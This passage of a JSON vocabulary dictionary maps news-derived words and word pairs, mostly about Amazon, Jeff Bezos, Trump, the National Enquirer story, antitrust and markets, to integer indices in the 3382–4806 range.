"trailers": 3382, "democratic congressional": 3383, "sanchez strong": 3384, "invest millions": 3385, "long cuomo": 3386, "authority gsa": 3387, "portland police": 3388, "exploring learning": 3389, "involving halliburton": 3390, "office provided": 3391, "t5q 171": 3392, "commercial starring": 3393, "housewife onstage": 3394, "apple charges": 3395, "weld jumping": 3396, "half decade": 3397, "appeasing iran": 3398, "million shoppers": 3399, "best determination": 3400, "year expanded": 3401, "new relationship": 3402, "tentatively titled": 3403, "police apurva": 3404, "cemetary": 3405, "enticing": 3406, "selection similar": 3407, "twitter bombs": 3408, "millennial population": 3409, "internet giant": 3410, "nyt white": 3411, "governments spent": 3412, "deployment": 3413, "relationship energy": 3414, "user surveillance": 3415, "dividend investment": 3416, "voters related": 3417, "signs referencing": 3418, "nyse wmt": 3419, "turn dangerous": 3420, "leaks source": 3421, "suspends": 3422, "guedes image": 3423, "frederick calatrello": 3424, "existing programs": 3425, "medical new": 3426, "general dollar": 3427, "agribusiness": 3428, "confirmation": 3429, "cushy perks": 3430, "identity movement": 3431, "exploded nearly": 3432, "hear president": 3433, "questions trump": 3434, "googlefor giving": 3435, "ballhaus": 3436, "cloud announced": 3437, "albright bob": 3438, "allegations cited": 3439, "unsuspecting": 3440, "paying right": 3441, "makers": 3442, "countertop": 3443, "alice marie": 3444, "rohingya muslim": 3445, "underfunded public": 3446, "politico magazine": 3447, "comment cohen": 3448, "tier shipping": 3449, "post forte": 3450, "lull markets": 3451, "passers": 3452, "strengthen china": 3453, "real wars": 3454, "doesn force": 3455, "says steven": 3456, "incumbent female": 3457, "technology project": 3458, "behavioural": 3459, "net benefits": 3460, "paycheck": 3461, "reinstatement efforts": 3462, "bezos pointing": 3463, "controversial policy": 3464, "believes amazon": 3465, "following failed": 3466, "carolina winning": 3467, "great letters": 3468, "trump god": 3469, "world schrader": 3470, "judge mulls": 3471, "nea delivery": 3472, "massive fines": 3473, "charity 2018": 3474, "america stood": 3475, "zora": 3476, "trump antagonistic": 3477, "presumptive": 3478, "recession 2019": 3479, "just responding": 3480, "surprise retail": 3481, "scott carey": 3482, "mature presidential": 3483, "eased traffic": 3484, "implementing regulation": 3485, "questioning 2018": 3486, "prev unread": 3487, "ecosystem eliminating": 3488, "donations": 3489, "simple fair": 3490, "effect netflix": 3491, "paulo": 3492, "new cold": 3493, "jobs 000": 3494, "dollars year": 3495, "undeveloped": 3496, "farr": 3497, "david corn": 3498, "opposes president": 3499, "court soon": 3500, "right steps": 3501, "tailwinds": 3502, "organized early": 3503, "zingers": 3504, "allege": 3505, "long lobbying": 3506, "epa office": 3507, "ohmnilabs silicon": 3508, "purchase title": 3509, "research thank": 3510, "228543 inc_homepage_headline": 3511, "act introduced": 3512, "groups attorneys": 3513, "compensation topped": 3514, "original best": 3515, "compounds fantastically": 3516, "memo instructs": 3517, "dakota trump": 3518, "2018 seekingalpha": 3519, "regional trade": 3520, "securities laws": 3521, "valley firmament": 3522, "expansion outsized": 3523, "amazon plug": 3524, "pakistan girls": 3525, "initialize cnn": 3526, "sentencing leniency": 3527, "printz": 3528, "volatile day": 3529, "cnn notes": 3530, "paul morigi": 3531, "midler": 3532, "voluntary": 3533, "hasn crossed": 3534, "ballots suggesting": 3535, "america half": 3536, "advantage solutions": 3537, "manufactures": 3538, "waded": 3539, "bestseller lists": 3540, "largepromoimage": 3541, "launched services": 3542, "chicago senator": 3543, "motley declined": 3544, "bring major": 3545, "people prompting": 3546, "writers guild": 3547, "2018 cramer": 3548, "personally asked": 3549, "introduce strong": 3550, "manufacturing activity": 3551, "shares counsel": 3552, "reallocate military": 3553, "threatening messages": 3554, "closing data": 3555, "hyper local": 3556, "fourteen": 3557, "center brennancenter": 3558, "congress following": 3559, "tony dungy": 3560, "president critics": 3561, "feel facts": 3562, "margins 2019": 3563, "discounts trump": 3564, "pet supplies": 3565, "considering creating": 3566, "outmaneuver market": 3567, "severed": 3568, "micro work": 3569, "egg": 3570, "commerce dollar": 3571, "monopoly threshold": 3572, "table patricia": 3573, "engagement": 3574, "peggy lipton": 3575, "asked questions": 3576, "customer acquisition": 3577, "apparently build": 3578, "reducing tax": 3579, "abusing parents": 3580, "phone trump": 3581, "sent 180": 3582, "oil looking": 3583, "becker pecker": 3584, "challenges 1992": 3585, "significantly properly": 3586, "trump advisers": 3587, "recent exact": 3588, "nurses police": 3589, "york oil": 3590, "public impression": 3591, "lira fell": 3592, "org news": 3593, "neumeister": 3594, "bristol united": 3595, "press michigan": 3596, "deduct": 3597, "lethbridge": 3598, "existing governance": 3599, "charred gas": 3600, "productivity": 3601, "research govpredict": 3602, "atvpdkikx0der pf_rd_s": 3603, "idiocracy": 3604, "qualified company": 3605, "french 415": 3606, "volitile fox": 3607, "amazon antagonize": 3608, "believed wrongfully": 3609, "greatly alarmed": 3610, "funniest": 3611, "stop collaborating": 3612, "registration records": 3613, "feeling upbeat": 3614, "area committee": 3615, "despite nearly": 3616, "real risk": 3617, "competitiveness": 3618, "lidia": 3619, "contact called": 3620, "philly fed": 3621, "tactical_charts": 3622, "plant closed": 3623, "core providers": 3624, "martha mendoza": 3625, "newspaper parent": 3626, "flu": 3627, "blackmail pecker": 3628, "successful entrepreneurs": 3629, "nightmare translated": 3630, "tactical edge": 3631, "trafficking": 3632, "paramedics": 3633, "kingdom played": 3634, "llc analyst": 3635, "paradoxes": 3636, "donor team": 3637, "large charitable": 3638, "flourish new": 3639, "news abc": 3640, "unbreakable kimmy": 3641, "capellades": 3642, "average surged": 3643, "assisted troops": 3644, "practices 2012": 3645, "797b": 3646, "clinton hillicon": 3647, "member nike": 3648, "disbursement": 3649, "city region": 3650, "photo likeness": 3651, "holidays amazon": 3652, "cronyism crimes": 3653, "issue involved": 3654, "stracher": 3655, "pronounced": 3656, "trump happy": 3657, "displays": 3658, "convicted cbs": 3659, "t000002537 t000181710": 3660, "tech circles": 3661, "addiction policy": 3662, "longtime amazon": 3663, "exchange strategist": 3664, "lightning fast": 3665, "critiqued story": 3666, "contractor description": 3667, "new possibilities": 3668, "carrying amazon": 3669, "coalition redlining": 3670, "switches ibm": 3671, "sent 410": 3672, "recent praise": 3673, "otyf saudi": 3674, "colleagues sent": 3675, "quick share": 3676, "woolfolk reported": 3677, "slight chance": 3678, "hurry worth": 3679, "specific drug": 3680, "estimate analysts": 3681, "callout": 3682, "cypress": 3683, "stops short": 3684, "term benefits": 3685, "pairs": 3686, "satya saves": 3687, "powerful midcareer": 3688, "sell products": 3689, "enquirer helped": 3690, "cardoso": 3691, "tie soiree": 3692, "solidly constructed": 3693, "featured high": 3694, "human protein": 3695, "midler broadway": 3696, "accounts experts": 3697, "included grocery": 3698, "keeps getting": 3699, "letters containing": 3700, "subsidiary activities": 3701, "homes danielle": 3702, "amazon opened": 3703, "b1 push": 3704, "expert susan": 3705, "issued short": 3706, "times story": 3707, "astounding milestone": 3708, "column michael": 3709, "pushing brennan": 3710, "city business": 3711, "difficult piece": 3712, "want world": 3713, "group seized": 3714, "fashion based": 3715, "jubeir": 3716, "chris mccabe": 3717, "injured": 3718, "data firm": 3719, "numerous civil": 3720, "plugable digital": 3721, "dumping parole": 3722, "grade read": 3723, "indianapolis congress": 3724, "senator zellnor": 3725, "statement standing": 3726, "crisis earlier": 3727, "sleek": 3728, "alongside cook": 3729, "trump cognitive": 3730, "sluggish bull": 3731, "endeavors": 3732, "amazon reported": 3733, "hampshire dc": 3734, "globaldata managing": 3735, "sensitive public": 3736, "royally deserve": 3737, "belt": 3738, "actually trading": 3739, "gas exports": 3740, "warner unit": 3741, "captures particular": 3742, "publish information": 3743, "company arrangement": 3744, "mccaskill says": 3745, "white list": 3746, "northwestern": 3747, "breakeven analysis": 3748, "talks 2018": 3749, "force gripping": 3750, "motivated attack": 3751, "anticipated increase": 3752, "alexa long": 3753, "seller using": 3754, "arabia 450": 3755, "inflame partisan": 3756, "powerful agriculture": 3757, "defeats bona": 3758, "narrator": 3759, "cola set": 3760, "145 343": 3761, "investments big": 3762, "impose higher": 3763, "big pharma": 3764, "gizmodo wrote": 3765, "hardball joined": 3766, "asian nations": 3767, "demonise": 3768, "fury charred": 3769, "water bottles": 3770, "hd black": 3771, "lobbying providers": 3772, "d5ttj5cspw": 3773, "diverse thriving": 3774, "father transferred": 3775, "kalorama": 3776, "vans amazon": 3777, "similarly critical": 3778, "today renounce": 3779, "face complete": 3780, "disappoint altria": 3781, "pick single": 3782, "steal custom": 3783, "profitable surveillance": 3784, "everybody circumstances": 3785, "research shop": 3786, "recently purchased": 3787, "katie pavlich": 3788, "jr robert": 3789, "ongoing matters": 3790, "fleischer thinks": 3791, "offering britain": 3792, "nacs shoppers": 3793, "personal crisis": 3794, "liabilities verizon": 3795, "encourage dialogue": 3796, "concerns focused": 3797, "christina hendricks": 3798, "bezos personal": 3799, "junqueira says": 3800, "hadn happened": 3801, "customer arpu": 3802, "confront violent": 3803, "say cloud": 3804, "innocenzio": 3805, "lincoln natl": 3806, "wrote evan": 3807, "helping lead": 3808, "little online": 3809, "overseas infrastructure": 3810, "abusing": 3811, "event rubenstein": 3812, "vendor don": 3813, "ceos expected": 3814, "internal investment": 3815, "apple pulled": 3816, "particularly dark": 3817, "make payments": 3818, "gun code": 3819, "2014 election": 3820, "matt mackowiak": 3821, "cow pasture": 3822, "analyst reports": 3823, "chased deposits": 3824, "want los": 3825, "available capacity": 3826, "trump blue": 3827, "gm ford": 3828, "v1 s5": 3829, "technology entertainment": 3830, "assessment jefferies": 3831, "seen bromance": 3832, "anybody want": 3833, "fixture": 3834, "copyright reform": 3835, "jon kopaloff": 3836, "live long": 3837, "new employer": 3838, "build careers": 3839, "industry consolidation": 3840, "risk ensure": 3841, "houston schools": 3842, "services divisions": 3843, "seattle jonathan": 3844, "muscle fitness": 3845, "aslam": 3846, "caused significant": 3847, "kimmelman president": 3848, "men chest": 3849, "attracting just": 3850, "deliveries going": 3851, "accelerator creates": 3852, "lethal injection": 3853, "aeberman12 status": 3854, "overlook given": 3855, "amazon acquires": 3856, "private labels": 3857, "research told": 3858, "running lot": 3859, "bezos laughs": 3860, "help sellers": 3861, "recommended suing": 3862, "year ev": 3863, "allowing american": 3864, "backed trump": 3865, "incomplete": 3866, "video steve": 3867, "procedural break": 3868, "tech industry": 3869, "advisor peter": 3870, "past losses": 3871, "juul labs": 3872, "islamic republic": 3873, "operate using": 3874, "predator": 3875, "support communities": 3876, "sgt brigitte": 3877, "gold timer": 3878, "echo yea": 3879, "proposes price": 3880, "internet history": 3881, "enhancing drugs": 3882, "couple divorce": 3883, "enquirer tracked": 3884, "writes author": 3885, "minnesota establishment": 3886, "house dems": 3887, "year accusing": 3888, "reassesses": 3889, "ap british": 3890, "county traditionally": 3891, "possibly challenging": 3892, "jailing leaders": 3893, "kroger nyse": 3894, "investigative reporters": 3895, "showing drone": 3896, "melissa clark": 3897, "problems ordinary": 3898, "tax hawks": 3899, "lakesha": 3900, "chip companies": 3901, "bloomberg americans": 3902, "post openly": 3903, "just local": 3904, "corp middleton": 3905, "agency headquarters": 3906, "denies bezos": 3907, "deliveries meaning": 3908, "pecker links": 3909, "administration cnbc": 3910, "infantilizing": 3911, "magazine subscribe": 3912, "news day": 3913, "flat net": 3914, "cozi family": 3915, "elkan": 3916, "bob mccarthy": 3917, "published lengthy": 3918, "closings schools": 3919, "taoiseach prime": 3920, "media holding": 3921, "city host": 3922, "divisions lose": 3923, "copyright 2018": 3924, "utilized": 3925, "tell advertisers": 3926, "money price": 3927, "public official": 3928, "order facebook": 3929, "paulorwell1 facebook": 3930, "beauty jeff": 3931, "god visited": 3932, "abc phonics": 3933, "fist 2018": 3934, "schiff house": 3935, "burning baby": 3936, "nrc": 3937, "billionaires": 3938, "hebrew": 3939, "followed heated": 3940, "pursuing growth": 3941, "cast christina": 3942, "voice jay": 3943, "york pittsburgh": 3944, "spells komorebi": 3945, "single note": 3946, "ranveer": 3947, "spanglish": 3948, "economic playing": 3949, "sanders called": 3950, "monumental growth": 3951, "authors guild": 3952, "averse": 3953, "hetmyer unbeaten": 3954, "ap analysis": 3955, "nonprofit public": 3956, "espouse": 3957, "purposes cramer": 3958, "n924661": 3959, "team conspiracy": 3960, "utility wins": 3961, "pay terminate": 3962, "gm told": 3963, "american scandal": 3964, "rep lou": 3965, "khan previously": 3966, "path collapses": 3967, "tim leslie": 3968, "presidents sit": 3969, "robert deutsch": 3970, "overcome late": 3971, "tao": 3972, "personal biography": 3973, "providing major": 3974, "amazon sold": 3975, "boeing considered": 3976, "valor": 3977, "earnings results": 3978, "treatment ig": 3979, "computing company": 3980, "practice medicine": 3981, "abusers survivors": 3982, "bank fraud": 3983, "fence": 3984, "team wants": 3985, "moratorium": 3986, "debate amazon": 3987, "sleeps outside": 3988, "lucrative drug": 3989, "distance": 3990, "includes incidents": 3991, "similar relationships": 3992, "house asking": 3993, "really exploded": 3994, "currently reading": 3995, "maura judkis": 3996, "inexcusable": 3997, "caller thank": 3998, "votetuesday": 3999, "tenn called": 4000, "suburb potentially": 4001, "convince jeff": 4002, "stick echo": 4003, "revolutionize": 4004, "create multiple": 4005, "enquirer explicit": 4006, "chaos weather": 4007, "white person": 4008, "amazon role": 4009, "compensation incentives": 4010, "flywheel": 4011, "senior communications": 4012, "putin hiding": 4013, "sanders renewed": 4014, "join": 4015, "man quest": 4016, "make nice": 4017, "highway safety": 4018, "sanders 179": 4019, "trump main": 4020, "bad economics": 4021, "procurement law": 4022, "racially biased": 4023, "nvidia brand": 4024, "seldom mentions": 4025, "amazon total": 4026, "pay scale": 4027, "firms discovered": 4028, "wilson": 4029, "quite possibly": 4030, "calvin": 4031, "nonprofit protect": 4032, "week example": 4033, "screw delivery": 4034, "amazon pledge": 4035, "new approximately": 4036, "force pils": 4037, "flows raised": 4038, "despite public": 4039, "fit men": 4040, "local destruction": 4041, "forthcoming dear": 4042, "spend months": 4043, "cook twisted": 4044, "ran story": 4045, "look nbc": 4046, "don pose": 4047, "book beginning": 4048, "dheeraj jain": 4049, "threats ex": 4050, "communications commission": 4051, "impose": 4052, "effect jan": 4053, "arguments transcripts": 4054, "upset nyt": 4055, "villa": 4056, "helped slow": 4057, "origin unveiled": 4058, "time mattis": 4059, "offered lot": 4060, "deliver packages": 4061, "adulatory reviews": 4062, "complexities": 4063, "despite little": 4064, "competition filing": 4065, "dodgers": 4066, "quashing reports": 4067, "sordid web": 4068, "best late": 4069, "declaring state": 4070, "pastor joel": 4071, "tweets early": 4072, "instance governments": 4073, "obama facist": 4074, "realize exactly": 4075, "stance chimes": 4076, "adds amazon": 4077, "spreading": 4078, "tougher immigration": 4079, "trump maintains": 4080, "latest fashion": 4081, "defend": 4082, "joe ianniello": 4083, "pledges billion": 4084, "barr held": 4085, "deeper": 4086, "doesn think": 4087, "katyal": 4088, "observers": 4089, "having cities": 4090, "hour performing": 4091, "survivability": 4092, "defended trump": 4093, "palestine": 4094, "prior days": 4095, "governor republican": 4096, "oil spill": 4097, "catch tv": 4098, "peach logo": 4099, "mosques": 4100, "wants public": 4101, "entrenched law": 4102, "analyst expectations": 4103, "america alleged": 4104, "sex daily": 4105, "herera unitedhealthcare": 4106, "artificial ingredients": 4107, "seller market": 4108, "connection sanchez": 4109, "antitrust altogether": 4110, "amazon proud": 4111, "carell donned": 4112, "weather forecasts": 4113, "useful cudgel": 4114, "digressing": 4115, "playing america": 4116, "wouldn admit": 4117, "date outpacing": 4118, "judge granted": 4119, "launching secret": 4120, "separate entity": 4121, "friendly separation": 4122, "common enemy": 4123, "slams trump": 4124, "article bodyguard": 4125, "amazon responds": 4126, "whichis basically": 4127, "mijente": 4128, "shick": 4129, "bigger amazon": 4130, "mms messages": 4131, "sptxzsegp5": 4132, "emergency reactions": 4133, "online bookstore": 4134, "news segment": 4135, "cairo recruited": 4136, "fade": 4137, "dangerous power": 4138, "prison industry": 4139, "h6 application": 4140, "overconfidence cost": 4141, "fund shaw": 4142, "machine washington": 4143, "alicandro better": 4144, "premium site": 4145, "trump returned": 4146, "rolled": 4147, "massive cloud": 4148, "fixing problems": 4149, "demanding ceo": 4150, "morning 4_5": 4151, "little piano": 4152, "court allows": 4153, "trump takes": 4154, "toxic chemotherapy": 4155, "company american": 4156, "rock maybe": 4157, "turn tech": 4158, "onize": 4159, "unique visitors": 4160, "baby parts": 4161, "grocery retailer": 4162, "grandmother": 4163, "stated post": 4164, "activity lost": 4165, "jacob passy": 4166, "month approved": 4167, "rated": 4168, "stupefying outcome": 4169, "star emma": 4170, "comment lauren": 4171, "trump attempting": 4172, "alex sanna": 4173, "monica ulmanu": 4174, "canceling government": 4175, "manohla dargis": 4176, "facebook destined": 4177, "block association": 4178, "save lives": 4179, "track registry": 4180, "reuters amazon": 4181, "newspaper warned": 4182, "behavior heres": 4183, "noun": 4184, "ive": 4185, "stupid east": 4186, "sankaran": 4187, "entertainment assets": 4188, "hours katera": 4189, "usps make": 4190, "decade old": 4191, "profile investigation": 4192, "stephen law": 4193, "barely sign": 4194, "skinned trump": 4195, "rep keith": 4196, "nominated state": 4197, "makes lots": 4198, "laugh": 4199, "smarmed": 4200, "241": 4201, "products eligible": 4202, "unexceptional": 4203, "provides ton": 4204, "centers operate": 4205, "silence source": 4206, "reforms recommended": 4207, "berg acquired": 4208, "trump compares": 4209, "run delivery": 4210, "overnight think": 4211, "swift denial": 4212, "guzman": 4213, "average number": 4214, "technology brian": 4215, "hire teachers": 4216, "hughes identity": 4217, "kennedy immediately": 4218, "146e3922310f": 4219, "peak size": 4220, "romano": 4221, "bleeding red": 4222, "blackrock investor": 4223, "salon": 4224, "hotel": 4225, "explicit photos": 4226, "environmental assembly": 4227, "1941 japanese": 4228, "rethinking": 4229, "firm cooperated": 4230, "directly attributable": 4231, "toys": 4232, "provides fast": 4233, "child ea": 4234, "lauer": 4235, "alleen op": 4236, "pulls": 4237, "problem isn": 4238, "soulmates": 4239, "mnuchin spent": 4240, "ziploc gcdn": 4241, "mega": 4242, "discredit bezos": 4243, "groups products": 4244, "wasn involved": 4245, "satan guide": 4246, "aluminum exports": 4247, "engaged investigators": 4248, "total book": 4249, "school computer": 4250, "overall aims": 4251, "shift product": 4252, "judge memoir": 4253, "affair calling": 4254, "ethically bankrupt": 4255, "growing trade": 4256, "surrounding ceo": 4257, "admits bold": 4258, "enforcers intently": 4259, "bolsonaro new": 4260, "conference started": 4261, "letter did": 4262, "reported 104": 4263, "started shipping": 4264, "income disparity": 4265, "piety": 4266, "inflation remains": 4267, "u1 a4ee": 4268, "harmful gas": 4269, "deliveryservice called": 4270, "store compared": 4271, "pleasure": 4272, "new instant": 4273, "glutamate": 4274, "chosen": 4275, "audiences don": 4276, "supporters outraged": 4277, "survey saying": 4278, "contract dilutes": 4279, "tal axelrod": 4280, "required private": 4281, "v0": 4282, "congressman gregory": 4283, "latest micro": 4284, "average faded": 4285, "sending shares": 4286, "nasdaq": 4287, "equipping": 4288, "website titled": 4289, "executive tim": 4290, "1509et": 4291, "2fwww marketwatch": 4292, "joint development": 4293, "colo story": 4294, "unexpected ally": 4295, "trumpian": 4296, "buy conservative": 4297, "crash north": 4298, "family rental": 4299, "toca": 4300, "entirely accurate": 4301, "clearly catering": 4302, "unions protesting": 4303, "h8 m8i": 4304, "003 shares": 4305, "jump clear": 4306, "abcpolitics": 4307, "previous presidencies": 4308, "spotlight include": 4309, "hatted men": 4310, "overlooked resulting": 4311, "josh bowen": 4312, "post executive": 4313, "inspiring creation": 4314, "black lawmakers": 4315, "administration erred": 4316, "great option": 4317, "standoff trump": 4318, "dating expanding": 4319, "walgreens says": 4320, "trend crimes": 4321, "instead expand": 4322, "audio review": 4323, "sidestepping": 4324, "nyse acn": 4325, "clever amazon": 4326, "world gas": 4327, "employees review": 4328, "bowie fan": 4329, "shipping related": 4330, "speaking amazon": 4331, "hiatus": 4332, "pitching": 4333, "topics included": 4334, "investor newsletter": 4335, "carolina man": 4336, "gotten public": 4337, "trump wasn": 4338, "dicey environment": 4339, "messi backing": 4340, "h4jm87qkvj guardian": 4341, "proposed reining": 4342, "jianjiao": 4343, "ted deutch": 4344, "sears holding": 4345, "straits": 4346, "playing novelist": 4347, "shows slideshow": 4348, "times trump": 4349, "house historic": 4350, "usps fair": 4351, "new channel": 4352, "slam mcconnell": 4353, "safe sex": 4354, "6x 5x": 4355, "stop housing": 4356, "favourite cardboard": 4357, "partnership stamps": 4358, "conversion affair": 4359, "article revolves": 4360, "satisfied": 4361, "hardly illegal": 4362, "youtube googleplay": 4363, "cromwell revolutionary": 4364, "medium roast": 4365, "action reuters": 4366, "cases classified": 4367, "dissipate": 4368, "cities giving": 4369, "results unfortunately": 4370, "successful new": 4371, "infringing goods": 4372, "mushroomed": 4373, "paper claims": 4374, "actor peter": 4375, "known associates": 4376, "rival known": 4377, "close look": 4378, "indigenous leaders": 4379, "trump secretly": 4380, "fresh nervousness": 4381, "headlines pose": 4382, "masked men": 4383, "commissioned commemorative": 4384, "selfies lauren": 4385, "apoplexy": 4386, "preet bharara": 4387, "sounded": 4388, "retail fighting": 4389, "reading long": 4390, "2224 provides": 4391, "outsized impact": 4392, "becker spreads": 4393, "shopping records": 4394, "supernatural presence": 4395, "300k amazon": 4396, "usual ap": 4397, "playbookers spotted": 4398, "advertising turnover": 4399, "belittle following": 4400, "climate legislation": 4401, "low approval": 4402, "life memoir": 4403, "ongoing trade": 4404, "google trump": 4405, "kidnapper": 4406, "bezos believes": 4407, "300000": 4408, "735 2018": 4409, "best available": 4410, "michel gondry": 4411, "chaos texas": 4412, "people naturally": 4413, "park overlooked": 4414, "korea moment": 4415, "month charging": 4416, "include india": 4417, "retail website": 4418, "abroad understanding": 4419, "newspaper calling": 4420, "thwarting competitors": 4421, "drowns": 4422, "solihull": 4423, "stamps nearly": 4424, "simpler": 4425, "entirely": 4426, "amazon want": 4427, "hatch office": 4428, "portfolio 393": 4429, "inside america": 4430, "china nutrition": 4431, "store sales": 4432, "inferential": 4433, "sugar return": 4434, "just internal": 4435, "antitrust inquiries": 4436, "story read": 4437, "criticizing coverage": 4438, "service existing": 4439, "approved early": 4440, "past trump": 4441, "service privatization": 4442, "post headquarters": 4443, "greatest vendor": 4444, "explode": 4445, "suuuuper smoky": 4446, "bartiromo happy": 4447, "openly admits": 4448, "run huge": 4449, "short track": 4450, "reasonably support": 4451, "tailing giant": 4452, "nearly shortly": 4453, "unreasonable requirement": 4454, "1911": 4455, "pensacola fla": 4456, "van hollen": 4457, "status 1041868256464654336": 4458, "pictured amazon": 4459, "survive trump": 4460, "attack chipotle": 4461, "record according": 4462, "fellow followers": 4463, "intelligent person": 4464, "economy holds": 4465, "terms sheryl": 4466, "cycle surrounding": 4467, "reputational high": 4468, "punishing tariffs": 4469, "foreign balances": 4470, "city arboretum": 4471, "renuka": 4472, "fiscal hole": 4473, "china ordinarily": 4474, "closest": 4475, "cooperative working": 4476, "fish angie": 4477, "enquirer executive": 4478, "treasury departments": 4479, "premium": 4480, "scott list": 4481, "williston slippery": 4482, "sent 1075": 4483, "warned trump": 4484, "descriptionplaintext experiential": 4485, "hurling attacks": 4486, "new books": 4487, "atsocialmedia satchatuk": 4488, "tests limits": 4489, "bunker believing": 4490, "downplayed talk": 4491, "irreverent cynical": 4492, "injury dem": 4493, "talent agencies": 4494, "information displayed": 4495, "inordinately": 4496, "hq viral": 4497, "nutrition": 4498, "paris agreement": 4499, "insists herders": 4500, "parcel journey": 4501, "achieving gender": 4502, "o8 r4ee": 4503, "software flaws": 4504, "stop": 4505, "volume fell": 4506, "sept bloomberg": 4507, "iran michaelcohen": 4508, "training management": 4509, "romantically": 4510, "york ainsley": 4511, "british mps": 4512, "load 2018": 4513, "report buzzfeed": 4514, "code allows": 4515, "malcolm nance": 4516, "arguments trump": 4517, "user manual": 4518, "tutored": 4519, "miamibookfair": 4520, "mztxyl0jaf": 4521, "amos snead": 4522, "weeks including": 4523, "inc_custom_footer null": 4524, "story cnbcs": 4525, "rep admits": 4526, "hasn launched": 4527, "satirist paul": 4528, "amid reeling": 4529, "retail videocmsurl": 4530, "desert": 4531, "problem getting": 4532, "gmt anwar": 4533, "new mini": 4534, "daily white": 4535, "870 million": 4536, "noteworthy": 4537, "showindex whatsappshareelement": 4538, "store robbers": 4539, "447": 4540, "union construction": 4541, "objective sense": 4542, "prices 1230x1672": 4543, "fuelled giants": 4544, "discounted merchandize": 4545, "effectively killed": 4546, "solihull mental": 4547, "rationalize": 4548, "dumping goods": 4549, "sarah shauna": 4550, "utx famously": 4551, "bezos extramarital": 4552, "bodycam": 4553, "sovereign": 4554, "collected info": 4555, "reinstate employee": 4556, "vehicle imports": 4557, "region starting": 4558, "450 partnerships": 4559, "var configobj": 4560, "way miranda": 4561, "customers allowing": 4562, "mayjeong": 4563, "vox dara": 4564, "certainly better": 4565, "years wow": 4566, "ones sharing": 4567, "blasio say": 4568, "presidential 2020": 4569, "real competition": 4570, "partners founding": 4571, "gates upgraded": 4572, "new federal": 4573, "tailer told": 4574, "intricate": 4575, "government looking": 4576, "hiring local": 4577, "called super": 4578, "isn letting": 4579, "drop took": 4580, "deft": 4581, "send responses": 4582, "sourcegregg jarrett": 4583, "communities haaland": 4584, "lists categories": 4585, "bartiromo": 4586, "far allies": 4587, "market capitalization": 4588, "photo reuters": 4589, "status 1055524794110664704": 4590, "free newsletters": 4591, "liaisons": 4592, "manager isidore": 4593, "bezos crafting": 4594, "wing agitator": 4595, "platform suspended": 4596, "rate structure": 4597, "bads angelo": 4598, "s\u00e3o paulo": 4599, "nicholas sandmann": 4600, "profits handsomely": 4601, "chicago serial": 4602, "consistently accused": 4603, "akira": 4604, "million invested": 4605, "desired": 4606, "vacation time": 4607, "cnn clicker": 4608, "337 shares": 4609, "lucky": 4610, "guts": 4611, "success helped": 4612, "downbeat christmas": 4613, "escape": 4614, "dennis miller": 4615, "floats merger": 4616, "paypal founder": 4617, "rising socialist": 4618, "shapiro": 4619, "origin attempt": 4620, "unclassified data": 4621, "unmanned": 4622, "amazon jungles": 4623, "know qualified": 4624, "100 degree": 4625, "government saudi": 4626, "murder charge": 4627, "symptoms contact": 4628, "remain cherished": 4629, "mounts": 4630, "trade crusade": 4631, "saudi money": 4632, "constructed business": 4633, "peter walzer": 4634, "200b divorce": 4635, "custom_article_footer null": 4636, "failed response": 4637, "lucrative arrangement": 4638, "bang": 4639, "million job": 4640, "katchen ceo": 4641, "gambelli": 4642, "definitely suggestions": 4643, "investigation record": 4644, "sitting duck": 4645, "signature package": 4646, "binge material": 4647, "writeln": 4648, "china tariffs": 4649, "heritage short": 4650, "oregon new": 4651, "company sells": 4652, "2016 politico": 4653, "organization selects": 4654, "reddit": 4655, "workplace report": 4656, "deadlock": 4657, "membership discount": 4658, "telecommunications association": 4659, "store data": 4660, "univision maduro": 4661, "committee chairs": 4662, "exactly did": 4663, "apple poached": 4664, "statement provided": 4665, "shameless": 4666, "gusto": 4667, "max width": 4668, "carnival travel": 4669, "protecting trump": 4670, "attacked vilified": 4671, "suspect throws": 4672, "passed decades": 4673, "pedo": 4674, "opposition history": 4675, "saladish": 4676, "feature offers": 4677, "novelist mackenzie": 4678, "favorite words": 4679, "brendan witcher": 4680, "biggest teams": 4681, "tl sugar": 4682, "andy jassy": 4683, "profits long": 4684, "couldn resist": 4685, "strong message": 4686, "amazon spends": 4687, "blvd 101": 4688, "chicago area": 4689, "rallies lees": 4690, "github": 4691, "water salt": 4692, "budget committee": 4693, "transgender models": 4694, "say impeach": 4695, "tech players": 4696, "food cbs": 4697, "_sacat": 4698, "think anzalone": 4699, "aviary": 4700, "industry allowing": 4701, "multiple dishes": 4702, "separate tweet": 4703, "real final": 4704, "155 raised": 4705, "buluo": 4706, "atlantic mccabe": 4707, "flawed practices": 4708, "accent disbanded": 4709, "unpleasant press": 4710, "topped": 4711, "safety act": 4712, "installing delivery": 4713, "aggressive chronicler": 4714, "service intercepts": 4715, "turkish economy": 4716, "238 candidate": 4717, "panel van": 4718, "stuck sitting": 4719, "season fast": 4720, "product known": 4721, "draw comparisons": 4722, "day tweet": 4723, "renegotiating": 4724, "strathwood encompassing": 4725, "billion splash": 4726, "authored": 4727, "terminate national": 4728, "screen films": 4729, "declare protected": 4730, "podcast jared": 4731, "nearby areas": 4732, "rush susan": 4733, "pentagon data": 4734, "detained indefinitely": 4735, "bad person": 4736, "mailer hits": 4737, "attack dog": 4738, "recently weakened": 4739, "resulting socially": 4740, "andrew lawrence": 4741, "halloween hot": 4742, "becker says": 4743, "shortfalls": 4744, "senate arizona": 4745, "government based": 4746, "sphere investors": 4747, "pyeongchang winter": 4748, "330": 4749, "focused": 4750, "absorbed nonsense": 4751, "extraordinary wealth": 4752, "meddling claiming": 4753, "especially amazing": 4754, "getting longer": 4755, "fourth consecutive": 4756, "heraldnet": 4757, "felony conviction": 4758, "street estimates": 4759, "asi": 4760, "sealed bids": 4761, "itemising": 4762, "sought 515": 4763, "murillo": 4764, "customers don": 4765, "supports": 4766, "industries did": 4767, "eevvf": 4768, "magazine promoting": 4769, "overheating": 4770, "authority bumps": 4771, "largest federal": 4772, "mexico tariffs": 4773, "murphy favor": 4774, "thomas kohnstamm": 4775, "chief lending": 4776, "statement recently": 4777, "healers sent": 4778, "republican base": 4779, "antitrust architecture": 4780, "team leaders": 4781, "telecom companies": 4782, "monopoly privatizing": 4783, "business grows": 4784, "strong strategic": 4785, "shaped tax": 4786, "dignified": 4787, "murphy_51492 png": 4788, "hot things": 4789, "ago today": 4790, "fast founded": 4791, "group new": 4792, "god nation": 4793, "selection nbc": 4794, "blackmail likewise": 4795, "insidesources": 4796, "state president": 4797, "ofthis": 4798, "aspen": 4799, "rescue rescue": 4800, "mystery man": 4801, "blowing smoke": 4802, "anand": 4803, "musk telstra": 4804, "substantial direct": 4805, "stifles entrepreneurs": 4806, 